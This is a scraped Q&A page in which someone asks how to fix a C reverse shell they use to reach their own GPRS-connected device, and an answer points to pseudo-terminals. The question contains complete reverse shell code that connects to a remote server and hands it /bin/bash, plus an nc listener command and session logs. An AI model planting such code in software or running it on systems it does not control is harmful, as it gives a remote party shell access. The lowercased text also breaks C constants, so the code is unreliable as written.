C reverse shell issues -


i need setup reverse shell in order connect device connected internet through gprs modem.

when special conditions occours, start command on public server fixed ip

nc -l 65535 

then i'll make code run (now i'm directly connected device through cable test purposes) (and yes, fork useless in case i'll need in final scenario, kept it)

#include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h>  int reverse_shell() {     pid_t p = 0;      /* fork */     p = fork();      if (p == 0)     {         char *shell[2];          int i,fd;         struct sockaddr_in sin;          /* open socket */         fd = socket(af_inet, sock_stream, 0);         sin.sin_family = af_inet;         sin.sin_addr.s_addr = inet_addr("my server public ip address");         sin.sin_port = htons(65535);          /* connect! */         connect(fd, (struct sockaddr *)&sin,sizeof(struct sockaddr_in));          /* assign 3 first fd (input/output/err) open socket */         for(i=0; i<3; i++)             dup2(fd, i);          /* build array */         shell[0] = "/bin/bash";         shell[1] = 0;          /* start reverse shell */         if (execve(shell[0], shell, null) == -1)             printf("error\n");          exit(0);     }      return 0; }  int main() {     reverse_shell(); } 

the reverse shell setup but, can see, got no prompt , it's looking bit confusing.

[root@public-server tmp]# nc -lv 65535 connection yyy.yyy.yyy.yyy port 65535 [tcp/*] accepted cd /etc ls *hosts* hosts hosts.allow hosts.deny 

plus, need use scp messages keep on appearing on device prompt , not on reverse-connected server

reverse-connected server:

[root@public-server tmp]# nc -lv 65535 connection yyy.yyy.yyy.yyy port 65535 [tcp/*] accepted ls /etc/hosts /etc/hosts scp /etc/hosts xxx.xxx.xxx.xxx:/tmp/ host key verification failed. lost connection 

device prompt:

root@device:/tmp# ./a.out root@device:/tmp# authenticity of host 'xxx.xxx.xxx.xxx (xxx.xxx.xxx.xxx)' can't established. rsa key fingerprint aa:e6:aa:1d:aa:a5:c2:fd:aa:4c:4f:e7:aa:34:aa:78. sure want continue connecting (yes/no)? 

what can fix , obtain stable , usable reverse shell?

the problem shell gets plain file descriptor. that, can operate executing script. operate interactively, needs terminal allowing termios stuff. pseudo-terminals (pty) for. quick google search brought this guide, didn't read entirely, maybe there better sources -- luck.

ps: have no experience ptys, wrong, assume should somehow set term environment variable on client side of server before starting shell, advisable implement own server (instead of nc) , have little initialization protocol bevore starting shell.


Comments

Popular posts from this blog

Fail to load namespace Spring Security http://www.springframework.org/security/tags -

sql - MySQL query optimization using coalesce -

unity3d - Unity local avoidance in user created world -